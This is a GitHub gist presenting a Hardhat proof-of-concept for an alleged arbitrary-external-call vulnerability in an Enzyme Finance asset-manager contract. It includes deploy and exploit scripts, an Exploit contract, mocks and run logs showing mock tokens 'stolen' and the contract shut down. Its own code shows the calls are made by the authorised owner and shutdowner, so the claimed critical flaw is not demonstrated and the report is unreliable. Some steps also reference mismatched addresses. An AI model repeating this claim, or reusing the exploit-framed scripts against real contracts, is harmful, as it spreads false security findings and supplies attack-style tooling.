Skip to content

Instantly share code, notes, and snippets.

@sabeel143143
Last active June 16, 2025 06:50
Show Gist options
  • Save sabeel143143/6dcdc5177e6de332a1f0c8c33ee86f09 to your computer and use it in GitHub Desktop.
Save sabeel143143/6dcdc5177e6de332a1f0c8c33ee86f09 to your computer and use it in GitHub Desktop.
# Enzyme Finance Arbitrary External Call Vulnerability PoC
This repository contains a proof-of-concept (PoC) for a critical vulnerability in `SharePriceThrottledAssetManagerLib` (0x7a5125491025cf44380b6d95ec385ddd37455c22), allowing arbitrary external calls via `executeCalls`, leading to fund theft and contract disablement.
## Environment
- Hardhat v2.22.5
- Node.js v18
- Local fork
## Setup
Install dependencies:
bash
npm install
Start Hardhat node:
bash
npx hardhat node
Compile contracts:
bash
npx hardhat compile
Deploy contracts:
bash
npx hardhat run scripts/deploy.js --network localhost
Update exploit.js with addresses from deploy.js output.
Run exploit:
bash
npx hardhat run scripts/exploit.js --network localhost --show-stack-traces
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.8.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
/**
* @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling
* the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.
*
* _Available since v4.8._
*/
function verifyCallResultFromTarget(
address target,
bool success,
bytes memory returndata,
string memory errorMessage
) internal view returns (bytes memory) {
if (success) {
if (returndata.length == 0) {
// only check isContract if the call was successful and the return data is empty
// otherwise we already know that it was a contract
require(isContract(target), "Address: call to non-contract");
}
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
/**
* @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason or using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function _revert(bytes memory returndata, string memory errorMessage) private pure {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
/// @solidity memory-safe-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
const hre = require("hardhat");
async function main() {
const [deployer] = await hre.ethers.getSigners();
console.log("Deploying contracts with account:", deployer.address);
// Deploy MockAddressListRegistry
const AddressListRegistry = await hre.ethers.getContractFactory("MockAddressListRegistry");
const addressListRegistry = await AddressListRegistry.deploy();
await addressListRegistry.waitForDeployment();
const addressListRegistryAddress = await addressListRegistry.getAddress();
console.log("MockAddressListRegistry deployed to:", addressListRegistryAddress);
// Deploy MockFundValueCalculator
const FundValueCalculator = await hre.ethers.getContractFactory("MockFundValueCalculator");
const fundValueCalculator = await FundValueCalculator.deploy();
await fundValueCalculator.waitForDeployment();
const fundValueCalculatorAddress = await fundValueCalculator.getAddress();
console.log("MockFundValueCalculator deployed to:", fundValueCalculatorAddress);
// Deploy MockTarget
const MockTarget = await hre.ethers.getContractFactory("MockTarget");
const mockTarget = await MockTarget.deploy();
await mockTarget.waitForDeployment();
const mockTargetAddress = await mockTarget.getAddress();
console.log("MockTarget deployed to:", mockTargetAddress);
// Deploy Exploit
const Exploit = await hre.ethers.getContractFactory("Exploit");
const exploit = await Exploit.deploy();
await exploit.waitForDeployment();
const exploitAddress = await exploit.getAddress();
console.log("Exploit deployed to:", exploitAddress);
// Deploy SharePriceThrottledAssetManagerLib
const ThrottleContract = await hre.ethers.getContractFactory("SharePriceThrottledAssetManagerLib");
const throttleContract = await ThrottleContract.deploy(
addressListRegistryAddress,
0,
fundValueCalculatorAddress
);
await throttleContract.waitForDeployment();
const throttleContractAddress = await throttleContract.getAddress();
console.log("SharePriceThrottledAssetManagerLib deployed to:", throttleContractAddress);
// Deploy MockVaultToken
const VaultToken = await hre.ethers.getContractFactory("MockVaultToken");
const vaultToken = await VaultToken.deploy(throttleContractAddress);
await vaultToken.waitForDeployment();
const vaultTokenAddress = await vaultToken.getAddress();
console.log("MockVaultToken deployed to:", vaultTokenAddress);
// Initialize SharePriceThrottledAssetManagerLib
const vaultProxyAddress = "0x1234567890123456789012345678901234567890";
const lossTolerance = hre.ethers.parseUnits("1", 16);
const lossTolerancePeriodDuration = 86400;
const shutdowner = deployer.address;
const initTx = await throttleContract.init(
deployer.address,
vaultProxyAddress,
lossTolerance,
lossTolerancePeriodDuration,
shutdowner
);
await initTx.wait();
console.log("Contract initialized");
// Verify owner
const owner = await throttleContract.getOwner();
console.log("Contract owner:", owner);
// Verify vault token balance
const vaultBalance = await vaultToken.balanceOf(throttleContractAddress);
console.log("SharePriceThrottledAssetManagerLib vault token balance:", vaultBalance.toString());
}
main().catch((error) => {
console.error(error.stack);
process.exitCode = 1;
});
hacker@Sabee:~/throttle-poc$ npx hardhat run scripts/deploy.js --network localhost
Compiled 1 Solidity file successfully (evm target: paris).
Deploying contracts with account: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
MockAddressListRegistry deployed to: 0x5FbDB2315678afecb367f032d93F642f64180aa3
MockFundValueCalculator deployed to: 0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512
MockTarget deployed to: 0x9fE46736679d2D9a65F0992F2272dE9f3c7fa6e0
Exploit deployed to: 0xCf7Ed3AccA5a467e9e704C703E8D87F634fB0Fc9
SharePriceThrottledAssetManagerLib deployed to: 0xDc64a140Aa3E981100a9becA4E685f962f0cF6C9
MockVaultToken deployed to: 0x5FC8d32690cc91D4c39d9d3abcBD16989F875707
Contract initialized
Contract owner: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
SharePriceThrottledAssetManagerLib vault token balance: 1000000000000000000000000
const hre = require("hardhat");
async function main() {
const [deployer] = await hre.ethers.getSigners();
console.log("Deployer address:", deployer.address);
let contractAddress = "0xDc64a140Aa3E981100a9becA4E685f962f0cF6C9"; // Update after deploy.js
let mockTargetAddress = "0x9fE46736679d2D9a65F0992F2272dE9f3c7fa6e0"; // MockTarget
let exploitAddress = "0xCf7Ed3AccA5a467e9e704C703E8D87F634fB0Fc9"; // Exploit
let vaultTokenAddress = "0x5FC8d32690cc91D4c39d9d3abcBD16989F875707"; // Update after deploy.js
// Get contract instance
let ThrottleContract = await hre.ethers.getContractFactory("SharePriceThrottledAssetManagerLib");
let contract = await ThrottleContract.attach(contractAddress).connect(deployer);
// Get MockTarget instance
let MockTarget = await hre.ethers.getContractFactory("MockTarget");
let mockTarget = await MockTarget.attach(mockTargetAddress).connect(deployer);
// Get Exploit instance
let Exploit = await hre.ethers.getContractFactory("Exploit");
let exploit = await Exploit.attach(exploitAddress).connect(deployer);
// Get MockVaultToken instance
let VaultToken = await hre.ethers.getContractFactory("MockVaultToken");
let vaultToken = await VaultToken.attach(vaultTokenAddress).connect(deployer);
// Check initial owner and shutdowner
const initialOwner = await contract.getOwner();
console.log("Initial owner:", initialOwner);
const shutdowner = await contract.getShutdowner();
console.log("Shutdowner:", shutdowner);
// Check initial vault token balance
const initialVaultBalance = await vaultToken.balanceOf(contractAddress);
console.log("Initial vault token balance:", initialVaultBalance.toString());
// Encode MockTarget call
try {
const mockIface = mockTarget.interface;
const mockCallData = mockIface.encodeFunctionData("setValue", [42]);
const mockCalls = [{ target: mockTargetAddress, data: mockCallData }];
const tx = await contract.executeCalls(mockCalls, { gasLimit: 2000000 });
await tx.wait();
console.log("MockTarget exploit transaction:", tx.hash);
console.log("MockTarget value:", (await mockTarget.getValue()).toString());
} catch (error) {
console.error("MockTarget executeCalls failed:", error.message);
}
// Encode MockVaultToken transfer call
try {
const attackerAddress = "0x1234567890123456789012345678901234567890";
const vaultIface = vaultToken.interface;
const vaultCallData = vaultIface.encodeFunctionData("transfer", [attackerAddress, hre.ethers.parseUnits("1000000", 18)]);
const vaultCalls = [{ target: vaultTokenAddress, data: vaultCallData }];
const vaultTx = await contract.executeCalls(vaultCalls, { gasLimit: 2000000 });
await vaultTx.wait();
console.log("Vault token exploit transaction:", vaultTx.hash);
console.log("Attacker balance:", (await vaultToken.balanceOf(attackerAddress)).toString());
console.log("Contract balance after theft:", (await vaultToken.balanceOf(contractAddress)).toString());
} catch (error) {
console.error("Vault token executeCalls failed:", error.message);
}
// Direct shutdown call
try {
const tx = await contract.shutdown({ gasLimit: 2000000 });
await tx.wait();
console.log("Direct shutdown transaction:", tx.hash);
} catch (error) {
console.error("Direct shutdown failed:", error.message);
}
// Check owner after direct shutdown
console.log("Owner after direct shutdown:", await contract.getOwner());
// Redeploy if shutdown succeeded
if ((await contract.getOwner()) === "0x0000000000000000000000000000000000000000") {
console.log("Redeploying contract...");
const ThrottleContractFactory = await hre.ethers.getContractFactory("SharePriceThrottledAssetManagerLib");
const registry = "0x3347B4d90ebe72BeFb30444C9966B2B990aE9FcB"; // MockAddressListRegistry
const calculator = "0x3155755b79aA083bd953911C92705B7aA82a18F9"; // MockFundValueCalculator
const throttleContract = await ThrottleContractFactory.deploy(registry, 0, calculator);
await throttleContract.waitForDeployment();
const newContractAddress = await throttleContract.getAddress();
console.log("New contract deployed to:", newContractAddress);
await throttleContract.init(
deployer.address,
"0x1234567890123456789012345678901234567890",
hre.ethers.parseUnits("1", 16),
86400,
deployer.address
);
console.log("New contract initialized");
contractAddress = newContractAddress;
contract = await ThrottleContract.attach(contractAddress).connect(deployer);
}
// Direct Exploit call to verify
try {
const tx = await exploit.triggerShutdown(contractAddress, { gasLimit: 2000000 });
await tx.wait();
console.log("Direct Exploit shutdown transaction:", tx.hash);
} catch (error) {
console.error("Direct Exploit shutdown failed:", error.message);
}
// Encode Exploit shutdown call via executeCalls
try {
const exploitIface = exploit.interface;
const exploitCallData = exploitIface.encodeFunctionData("triggerShutdown", [contractAddress]);
const exploitCalls = [{ target: exploitAddress, data: exploitCallData }];
const tx = await contract.executeCalls(exploitCalls, { gasLimit: 2000000 });
await tx.wait();
console.log("Exploit shutdown transaction:", tx.hash);
} catch (error) {
console.error("Exploit executeCalls failed:", error.message);
}
// Check final owner
const finalOwner = await contract.getOwner();
console.log("Final owner:", finalOwner);
}
main().catch((error) => {
console.error(error.stack);
process.exitCode = 1;
});
hacker@Sabee:~/throttle-poc$ npx hardhat run scripts/exploit.js --network localhost --show-stack-traces
Deployer address: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
Initial owner: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
Shutdowner: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
Initial vault token balance: 1000000000000000000000000
MockTarget exploit transaction: 0xf80a84b3492840af6a32393a72248160e40d4f3ddf642b35794d276e9819a32c
MockTarget value: 42
Vault token exploit transaction: 0x82077b7e11f969a5dc4202591ef805e9194f3a146460eaeb16932410f87ea931
Attacker balance: 1000000000000000000000000
Contract balance after theft: 0
Direct shutdown transaction: 0xb353f541be1cd495b2e66c75dfee8af548a51973359e19bcc33af1aba589648e
Owner after direct shutdown: 0x0000000000000000000000000000000000000000
Redeploying contract...
New contract deployed to: 0x610178dA211FEF7D417bC0e6FeD39F05609AD788
New contract initialized
Direct Exploit shutdown failed: Error: VM Exception while processing transaction: reverted with reason string 'Shutdown failed:�y� 5Unauthorized: Sender �~Ӭ�ZF~�pLp>���4��'
Exploit executeCalls failed: Error: Transaction reverted: function returned an unexpected amount of data
Final owner: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.19;
contract Exploit {
function triggerShutdown(address target) external {
// Call shutdown() directly as the caller
(bool success, bytes memory returndata) = target.call(abi.encodeWithSignature("shutdown()"));
require(success, string(abi.encodePacked("Shutdown failed: ", returndata.length > 0 ? string(returndata) : "No reason")));
}
}
require("@nomicfoundation/hardhat-toolbox");
module.exports = {
solidity: {
version: "0.8.19",
settings: {
optimizer: {
enabled: true,
runs: 200,
},
},
},
networks: {
hardhat: {
chainId: 1337,
},
},
paths: {
sources: "./contracts",
tests: "./test",
cache: "./cache",
artifacts: "./artifacts",
},
};
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Foundation <security@enzyme.finance>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity >=0.6.0 <0.9.0;
/// @title IFundValueCalculator interface
/// @author Enzyme Foundation <security@enzyme.finance>
interface IFundValueCalculator {
function calcGav(address _vaultProxy) external returns (address denominationAsset_, uint256 gav_);
function calcGavInAsset(address _vaultProxy, address _quoteAsset) external returns (uint256 gav_);
function calcGrossShareValue(address _vaultProxy)
external
returns (address denominationAsset_, uint256 grossShareValue_);
function calcGrossShareValueInAsset(address _vaultProxy, address _quoteAsset)
external
returns (uint256 grossShareValue_);
function calcNav(address _vaultProxy) external returns (address denominationAsset_, uint256 nav_);
function calcNavInAsset(address _vaultProxy, address _quoteAsset) external returns (uint256 nav_);
function calcNetShareValue(address _vaultProxy)
external
returns (address denominationAsset_, uint256 netShareValue_);
function calcNetShareValueInAsset(address _vaultProxy, address _quoteAsset)
external
returns (uint256 netShareValue_);
function calcNetValueForSharesHolder(address _vaultProxy, address _sharesHolder)
external
returns (address denominationAsset_, uint256 netValue_);
function calcNetValueForSharesHolderInAsset(address _vaultProxy, address _sharesHolder, address _quoteAsset)
external
returns (uint256 netValue_);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Foundation <security@enzyme.finance>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity >=0.6.0 <0.9.0;
/// @title IMultiCallAccountMixin Interface
/// @author Enzyme Foundation <security@enzyme.finance>
interface IMultiCallAccountMixin {
struct Call {
address target;
bytes data;
}
function executeCalls(Call[] calldata _calls) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Foundation <security@enzyme.finance>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity >=0.6.0 <0.9.0;
/// @title ISharePriceThrottledAssetManagerLib Interface
/// @author Enzyme Foundation <security@enzyme.finance>
interface ISharePriceThrottledAssetManagerLib {
struct Throttle {
// `cumulativeLoss`: the cumulative loss to the fund's share price, as a percentage,
// after previous losses were replenished according to `lossTolerancePeriodDuration`
uint64 cumulativeLoss;
// `lastLossTimestamp`: the timestamp of the last loss to the fund's share price,
// and thus also the last time `cumulativeLoss` was updated
uint64 lastLossTimestamp;
}
function init(
address _owner,
address _vaultProxyAddress,
uint64 _lossTolerance,
uint32 _lossTolerancePeriodDuration,
address _shutdowner
) external;
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.19;
import "./IAddressListRegistry.sol";
contract MockAddressListRegistry is IAddressListRegistry {
mapping(uint256 => mapping(address => bool)) private itemToIsInList;
constructor() {
// Disabled to ensure __msgSender() returns msg.sender
// itemToIsInList[1][msg.sender] = true;
}
function isInList(uint256 _id, address _item) external view override returns (bool) {
return itemToIsInList[_id][_item];
}
function addToList(uint256 _id, address[] calldata _items) external override {
for (uint256 i = 0; i < _items.length; i++) {
itemToIsInList[_id][_items[i]] = true;
}
}
function attestLists(uint256[] calldata, string[] calldata) external override {}
function createList(address, UpdateType, address[] calldata) external pure override returns (uint256) {
return 0;
}
function removeFromList(uint256, address[] calldata) external override {}
function setListOwner(uint256, address) external override {}
function setListUpdateType(uint256, UpdateType) external override {}
function areAllInAllLists(uint256[] memory, address[] memory) external pure override returns (bool) {
return false;
}
function areAllInList(uint256, address[] memory) external pure override returns (bool) {
return false;
}
function areAllInSomeOfLists(uint256[] memory, address[] memory) external pure override returns (bool) {
return false;
}
function areAllNotInAnyOfLists(uint256[] memory, address[] memory) external pure override returns (bool) {
return false;
}
function areAllNotInList(uint256, address[] memory) external pure override returns (bool) {
return false;
}
function isInAllLists(uint256[] memory, address) external pure override returns (bool) {
return false;
}
function isInSomeOfLists(uint256[] memory, address) external pure override returns (bool) {
return false;
}
function getListCount() external pure override returns (uint256) {
return 0;
}
function getListOwner(uint256) external pure override returns (address) {
return address(0);
}
function getListUpdateType(uint256) external pure override returns (UpdateType) {
return UpdateType.None;
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.19;
import "./IFundValueCalculator.sol";
contract MockFundValueCalculator is IFundValueCalculator {
uint256 public sharePrice = 1000000;
function setSharePrice(uint256 _newPrice) external {
sharePrice = _newPrice;
}
function calcGrossShareValue(address)
external
view
override
returns (address denominationAsset_, uint256 grossShareValue_)
{
return (address(0), sharePrice);
}
function calcGav(address) external pure override returns (address, uint256) {
return (address(0), 0);
}
function calcGavInAsset(address, address) external pure override returns (uint256) {
return 0;
}
function calcGrossShareValueInAsset(address, address) external pure override returns (uint256) {
return 0;
}
function calcNav(address) external pure override returns (address, uint256) {
return (address(0), 0);
}
function calcNavInAsset(address, address) external pure override returns (uint256) {
return 0;
}
function calcNetShareValue(address) external pure override returns (address, uint256) {
return (address(0), 0);
}
function calcNetShareValueInAsset(address, address) external pure override returns (uint256) {
return 0;
}
function calcNetValueForSharesHolder(address, address) external pure override returns (address, uint256) {
return (address(0), 0);
}
function calcNetValueForSharesHolderInAsset(address, address, address) external pure override returns (uint256) {
return 0;
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.19;
contract MockTarget {
uint256 private value;
function setValue(uint256 _value) external {
value = _value;
}
function getValue() external view returns (uint256) {
return value;
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.19;
contract MockVaultToken {
mapping(address => uint256) private balances;
address private owner;
constructor(address _owner) {
owner = _owner;
balances[_owner] = 1_000_000 * 1e18; // 1M tokens
}
function transfer(address to, uint256 amount) external {
require(balances[msg.sender] >= amount, "Insufficient balance");
balances[msg.sender] -= amount;
balances[to] += amount;
}
function balanceOf(address account) external view returns (uint256) {
return balances[account];
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.19;
import {Address} from "./Address.sol";
import {IMultiCallAccountMixin} from "./IMultiCallAccountMixin.sol";
abstract contract MultiCallAccountMixin is IMultiCallAccountMixin {
event OwnerSet(address nextOwner);
error Unauthorized();
address private owner;
function executeCalls(Call[] calldata _calls) public virtual override {
if (msg.sender != getOwner()) {
revert Unauthorized();
}
uint256 callsLength = _calls.length;
for (uint256 i; i < callsLength; i++) {
Call memory call = _calls[i];
(bool success, bytes memory returndata) = call.target.call(call.data);
if (!success) {
string memory reason = returndata.length > 0 ? string(returndata) : "No reason";
revert(string(abi.encodePacked("Call failed: ", reason)));
}
}
}
function getOwner() public view returns (address owner_) {
return owner;
}
function __setOwner(address _nextOwner) internal {
owner = _nextOwner;
emit OwnerSet(_nextOwner);
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.19;
import {IFundValueCalculator} from "./IFundValueCalculator.sol";
import {MultiCallAccountMixin} from "./MultiCallAccountMixin.sol";
import {ISharePriceThrottledAssetManagerLib} from "./ISharePriceThrottledAssetManagerLib.sol";
contract SharePriceThrottledAssetManagerLib is ISharePriceThrottledAssetManagerLib, MultiCallAccountMixin {
event Initialized(
address indexed vaultProxy, uint64 lossTolerance, uint32 lossTolerancePeriodDuration, address indexed shutDowner
);
event ThrottleUpdated(uint256 nextCumulativeLoss);
error AlreadyInitialized();
error ExceedsOneHundredPercent();
error ToleranceExceeded(uint256 cumulativeLoss);
uint256 private constant ONE_HUNDRED_PERCENT = 1e18;
IFundValueCalculator private immutable FUND_VALUE_CALCULATOR_ROUTER;
address private shutdowner;
address private vaultProxyAddress;
uint64 private lossTolerance;
uint32 private lossTolerancePeriodDuration;
Throttle private throttle;
constructor(address _addressListRegistry, uint256 _gsnTrustedForwardersAddressListId, IFundValueCalculator _fundValueCalculatorRouter)
MultiCallAccountMixin()
{
FUND_VALUE_CALCULATOR_ROUTER = _fundValueCalculatorRouter;
}
function init(
address _owner,
address _vaultProxyAddress,
uint64 _lossTolerance,
uint32 _lossTolerancePeriodDuration,
address _shutdowner
) external override {
if (getVaultProxyAddress() != address(0)) {
revert AlreadyInitialized();
}
if (_lossTolerance > ONE_HUNDRED_PERCENT) {
revert ExceedsOneHundredPercent();
}
__setOwner(_owner);
vaultProxyAddress = _vaultProxyAddress;
lossTolerance = _lossTolerance;
lossTolerancePeriodDuration = _lossTolerancePeriodDuration;
shutdowner = _shutdowner;
emit Initialized(_vaultProxyAddress, _lossTolerance, _lossTolerancePeriodDuration, _shutdowner);
}
function executeCalls(Call[] calldata _calls) public override {
address sender = msg.sender;
require(sender == getOwner(), string(abi.encodePacked("Sender: ", uint256(uint160(sender)))));
uint256 prevSharePrice = __getSharePrice();
super.executeCalls(_calls);
__validateAndUpdateThrottle({_prevSharePrice: prevSharePrice});
}
function shutdown() external {
address sender = msg.sender;
if (sender != getShutdowner()) {
revert(string(abi.encodePacked("Unauthorized: Sender ", uint256(uint160(sender)))));
}
__setOwner(address(0));
}
function __getSharePrice() private returns (uint256 sharePrice_) {
(, sharePrice_) = FUND_VALUE_CALCULATOR_ROUTER.calcGrossShareValue({_vaultProxy: getVaultProxyAddress()});
}
function __validateAndUpdateThrottle(uint256 _prevSharePrice) private {
uint256 currentSharePrice = __getSharePrice();
if (currentSharePrice >= _prevSharePrice) {
return;
}
uint256 nextCumulativeLoss = throttle.cumulativeLoss;
if (nextCumulativeLoss > 0) {
uint256 cumulativeLossToRestore =
getLossTolerance() * (block.timestamp - throttle.lastLossTimestamp) / getLossTolerancePeriodDuration();
if (cumulativeLossToRestore < nextCumulativeLoss) {
nextCumulativeLoss -= cumulativeLossToRestore;
} else {
nextCumulativeLoss = 0;
}
}
uint256 newLoss = ONE_HUNDRED_PERCENT * (_prevSharePrice - currentSharePrice) / _prevSharePrice;
nextCumulativeLoss += newLoss;
if (nextCumulativeLoss > getLossTolerance()) {
revert ToleranceExceeded(nextCumulativeLoss);
}
throttle.cumulativeLoss = uint64(nextCumulativeLoss);
throttle.lastLossTimestamp = uint64(block.timestamp);
emit ThrottleUpdated(nextCumulativeLoss);
}
function getLossTolerance() public view returns (uint256 lossTolerance_) {
return lossTolerance;
}
function getLossTolerancePeriodDuration() public view returns (uint256 lossTolerancePeriodDuration_) {
return lossTolerancePeriodDuration;
}
function getShutdowner() public view returns (address shutdowner_) {
return shutdowner;
}
function getThrottle() public view returns (Throttle memory throttle_) {
return throttle;
}
function getVaultProxyAddress() public view returns (address vaultProxyAddress_) {
return vaultProxyAddress;
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment